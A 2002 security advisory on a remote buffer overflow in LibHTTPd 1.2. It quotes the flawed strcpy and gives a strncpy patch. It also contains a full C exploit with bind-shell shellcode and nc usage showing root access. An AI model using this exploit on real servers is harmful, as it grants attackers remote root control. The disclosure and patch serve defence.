[UNIX] Remote Buffer Overflow Vulnerability in LibHTTPd

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From: support@securiteam.com
To: list@securiteam.com
Date: 17 Nov 2002 21:43:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Remote Buffer Overflow Vulnerability in LibHTTPd
------------------------------------------------------------------------

SUMMARY

 <http://www.hughes.com.au/products/libhttpd/> LibHTTPD can be used to add
basic web server capabilities to an application or embedded device. A
vulnerability in the product allows remote attackers to cause the server
to crash and execute arbitrary code.

DETAILS

Vulnerable packages:
 * LibHTTPd version 1.2

Vulnerable code:
If examine 'api.c' of library libhttpd.a source code, you can find the
vulnerability. As you can see httpdProcessRequest() in line:860

   __
   860 void httpdProcessRequest(server)
   861 httpd *server;
   862 {
   863 char dirName[HTTP_MAX_URL],
        ...
   869 server->response.responseLength = 0;
   870 strcpy(dirName, httpdRequestPath(server)); // here.
   --

Exploit:
 === 0x82-Remote.libhttpdxpl.c ===
/*
**
** Lib HTTPd Remote Buffer Overflow exploit
** by Xpl017Elz
** __
** Testing exploit:
**
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
**
** (Ctrl+c)
** punt!
** bash$ nc libhttphost 3879
** uname
** Linux
** id
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
** 3(sys),4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
*/

#include <stdio.h>
int main(/* args? */)
{
    int shadd2r;
    char b1ndsh[] = /* 129byte bindshellcode */
"\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M"
"\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E"
    
"\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315"
"\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
"\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377"
"\377\377/bin/sh";
    //--- POST &shellcode ---//
    fprintf(stdout,"POST ");
    for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
    {/* rEDhAT Default: 0x804e482,
Debian Address? */
fprintf(stdout,"\202\344\004\b");
    }
    fprintf(stdout,"\r\n");
    //--- NOP,shellcode ---//
    for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
    {/* SSSSSSSS...SSSSSSSSS;;; */
fprintf(stdout,"S");
    }
    fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
}

Patch:
 === api.patch ===

--- api.c Sat Nov 9 20:06:30 2002
+++ api.patch.c Sat Nov 9 20:05:33 2002
@@ -867,7 +867,7 @@
httpContent *entry;
 
server->response.responseLength = 0;
- strcpy(dirName, httpdRequestPath(server));
+ strncpy(dirName, httpdRequestPath(server), HTTP_MAX_URL);
cp = rindex(dirName, '/');
if (cp == NULL)
{

ADDITIONAL INFORMATION

The information has been provided by <mailto:xploit@hackermail.com>
dong-h0un U.

========================================

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